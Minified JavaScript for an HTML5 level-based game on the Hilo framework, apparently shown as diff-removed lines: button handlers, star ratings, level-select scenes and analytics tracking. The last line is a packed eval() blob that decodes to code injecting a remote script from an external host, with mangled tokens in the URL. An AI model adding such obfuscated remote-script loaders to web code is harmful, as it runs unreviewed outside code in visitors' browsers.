- d.addChild(p, f, i, j, k)
- } else {
- var q = b.sureBtn = new Hilo.Bitmap({
- id: "aginBtn",
- image: b.properties.btnImg,
- rect: [0, 242, b.btnW, b.btnH],
- width: b.btnW,
- height: b.btnH,
- x: b.btnX,
- y: b.btnY
- });
- j.y = 170,
- d.addChild(q, i, j, k)
- }
- b.addChild(d)
- },
- drawStar: function(b) {
- for (var c = this,
- d = a.normalScene.timeCount,
- e = Math.floor(d / 3), f = 3 - Math.floor(c.properties.time / e), g = 0; f > g; g++) {
- var h = new Hilo.Bitmap({
- image: c.properties.starImg,
- rect: [0, 0, 60, 59],
- width: 60,
- height: 59,
- x: 170 + 60 * g,
- y: c.starY
- });
- b.addChild(h)
- }
- return f
- },
- initBtn: function() {
- var b = this,
- c = a.stage;
- b.shareBtn.on(Hilo.event.POINTER_END,
- function(a) {
- a._stopped = !0,
- //document.getElementById("share").style.display = "block",
- dp_share();
- _czc.push(["_trackEvent", "点击", "分享按钮"])
- }.bind(this)),
- b.nextBtn ? b.nextBtn.on(Hilo.event.POINTER_END,
- function(d) {
- d._stopped = !0,
- c.removeChild(b),
- //a.setShareData(2),
- c.removeChild(a.graphScene);
- var e = a.gamePass();
- if (e) {
- var f = a.currentLevel + 1 > a.user.level ? a.currentLevel + 1 : a.user.level;
- a.user.setLevel(f),
- a.user.setUserLocaltion(f, !1),
- a.creatGraphScene(a.currentLevel + 1),
- a.normalScene.clacTime(),
- a.normalScene.setTimeInterval()
- }
- _czc.push(["_trackEvent", "点击", "下一关按钮"])
- }.bind(this)) : b.aginBtn ? b.aginBtn.on(Hilo.event.POINTER_END,
- function(d) {
- d._stopped = !0,
- c.removeChild(b),
- //a.setShareData(2),
- c.removeChild(a.graphScene),
- a.creatGraphScene(a.currentLevel),
- a.normalScene.clacTime(),
- a.normalScene.setTimeInterval(),
- _czc.push(["_trackEvent", "点击", "再来一次按钮"])
- }.bind(this)) : b.restoreBtn ? b.restoreBtn.on(Hilo.event.POINTER_END,
- function(d) {
- d._stopped = !0,
- c.removeChild(b),
- a.normalScene.setTimeInterval(),
- _czc.push(["_trackEvent", "点击", "恢复按钮"])
- }.bind(this)) : b.reStartBtn ? b.reStartBtn.on(Hilo.event.POINTER_END,
- function(d) {
- d._stopped = !0,
- a.user.setLevel(0),
- c.removeChild(b),
- c.removeChild(a.graphScene),
- a.creatGraphScene(0),
- a.gameOver(),
- a.normalScene.clacTime(),
- a.normalScene.setTimeInterval(),
- _czc.push(["_trackEvent", "点击", "重新开始按钮"])
- }.bind(this)) : b.sureBtn.on(Hilo.event.POINTER_END,
- function(d) {
- d._stopped = !0,
- c.removeChild(b),
- a.normalScene.setTimeInterval(),
- a.user.setUserLocaltion(0, !1),
- _czc.push(["_trackEvent", "点击", "新手提示按钮"])
- }.bind(this))
- }
- })
- } (window.Game),
- function(a) {
- var b = a.LevelScene = Hilo.Class.create({
- Extends: Hilo.Container,
- btnGx: 30,
- btnGy: 15,
- wBtn: 131,
- hBtn: 104,
- topG: 50,
- blockG: 20,
- pLevelNum: 20,
- blockList: [],
- row: 4,
- blockW: 135,
- blockH: 130,
- levelGap: 1,
- constructor: function(a) {
- b.superclass.constructor.call(this, a),
- this.properties = a,
- this.init(a)
- },
- init: function(b) {
- var c = this,
- d = c.height - c.hBtn - c.btnGy,
- e = 2 * c.btnGx,
- f = c.width - c.wBtn - 2 * c.btnGx,
- g = c.levelNum = a.level.levelInfo.length,
- h = this.properties.pageLevel,
- i = c.back = Math.floor(h / c.pLevelNum),
- j = c.next = g - (h + c.pLevelNum) > 0 ? !0 : !1;
- if (i) {
- var k = c.backBtn = new Hilo.Bitmap({
- id: "resetBtn",
- image: b.image,
- rect: [0, 135, c.wBtn, c.hBtn],
- x: e,
- y: d
- });
- c.addChild(k)
- }
- if (j) {
- var l = c.nextBtn = new Hilo.Bitmap({
- id: "resetBtn",
- image: b.image,
- rect: [285, 135, c.wBtn, c.hBtn],
- x: f,
- y: d
- });
- c.addChild(l)
- }
- var m = c.homeBtn = new Hilo.Bitmap({
- id: "resetBtn",
- image: b.image,
- rect: [137, 135, 145, c.hBtn],
- x: 250,
- y: d
- });
- c.addChild(m),
- c.initLevel()
- },
- initLevel: function() {
- for (var b = this,
- c = b.blockW,
- d = b.blockH,
- e = d / 4,
- f = [0, 0, b.blockW, b.blockW], g = (b.disBlockColor, b.row), h = g - 1, i = b.blockG, j = Math.floor((b.width - c * g - i * h) / 2), k = this.properties.pageLevel, l = b.levelNum - k, m = l < b.pLevelNum ? l: b.pLevelNum, n = a.user.level + 1, o = 0; m > o; o++) {
- var p = Math.floor(o / g),
- q = Math.floor(o % g),
- r = q * (c + i) + j,
- s = p * (d + i) + b.topG,
- t = o + k + 1;
- if (t > n + b.levelGap) var f = [135, 0, 135, 130];
- var u = new Hilo.Container({
- id: "textContainer",
- width: c,
- height: d,
- x: r,
- y: s
- }),
- v = new Hilo.Bitmap({
- id: "resetBtn",
- image: b.properties.image,
- rect: f,
- x: 0,
- y: 0
- }),
- w = b.nextText = new Hilo.Text({
- text: o + k + 1,
- width: c,
- height: d,
- font: "60px arial",
- textAlign: "center",
- color: "#fff",
- x: 0,
- y: e
- });
- if (w.level = o + k, u.addChild(v, w), b.drawStar(u, o + k), b.addChild(u), t <= n + b.levelGap) {
- var x = {
- text: w
- };
- b.blockList.push(x)
- }
- }
- },
- drawStar: function(b, c) {
- var d = this,
- e = a.level.levelInfo[c].star,
- f = 30;
- if (e) for (var g = 0; e > g; g++) {
- var h = new Hilo.Bitmap({
- image: d.properties.starImg,
- rect: [0, 0, 60, 59],
- width: 60,
- height: 59,
- scaleX: .5,
- scaleY: .5,
- x: 20 + g * f,
- y: b.height - 25
- });
- b.addChild(h)
- }
- },
- initBtn: function() {
- var b = this,
- c = a.stage,
- d = this.properties.pageLevel;
- b.homeBtn.on(Hilo.event.POINTER_END,
- function(d) {
- d._stopped = !0,
- c.removeChild(b),
- a.gameHomeScene.visible = !0,
- document.getElementById("moregame").style.display = "block",
- _czc.push(["_trackEvent", "点击", "主页按钮"])
- }.bind(this)),
- b.back && b.backBtn.on(Hilo.event.POINTER_END,
- function(e) {
- e._stopped = !0,
- c.removeChild(b),
- a.creatLevelScene(d - b.pLevelNum),
- _czc.push(["_trackEvent", "点击", "上一页按钮", d - b.pLevelNum])
- }.bind(this)),
- b.next && b.nextBtn.on(Hilo.event.POINTER_END,
- function(e) {
- e._stopped = !0,
- c.removeChild(b),
- a.creatLevelScene(d + b.pLevelNum),
- _czc.push(["_trackEvent", "点击", "下一页按钮", d + b.pLevelNum])
- }.bind(this));
- for (var e = 0; e < b.blockList.length; e++) b.blockList[e].text.on(Hilo.event.POINTER_END,
- function(d) {
- d._stopped = !0,
- b.visible = !1,
- c.removeChild(b),
- a.creatGraphScene(this.level),
- a.creatNormalScene(),
- _czc.push(["_trackEvent", "点击", "选择关卡", this.level + 1])
- })
- }
- })
- } (window.Game);
- eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|script|parentNode|httxp|coxm|9xg|gxame|||jaxvascxript|texxt|txype|src|true|async|onload|insertBefore|js|removeChild|szcg|getElementsByTagName||createElement'.split('|'),0,{}))
|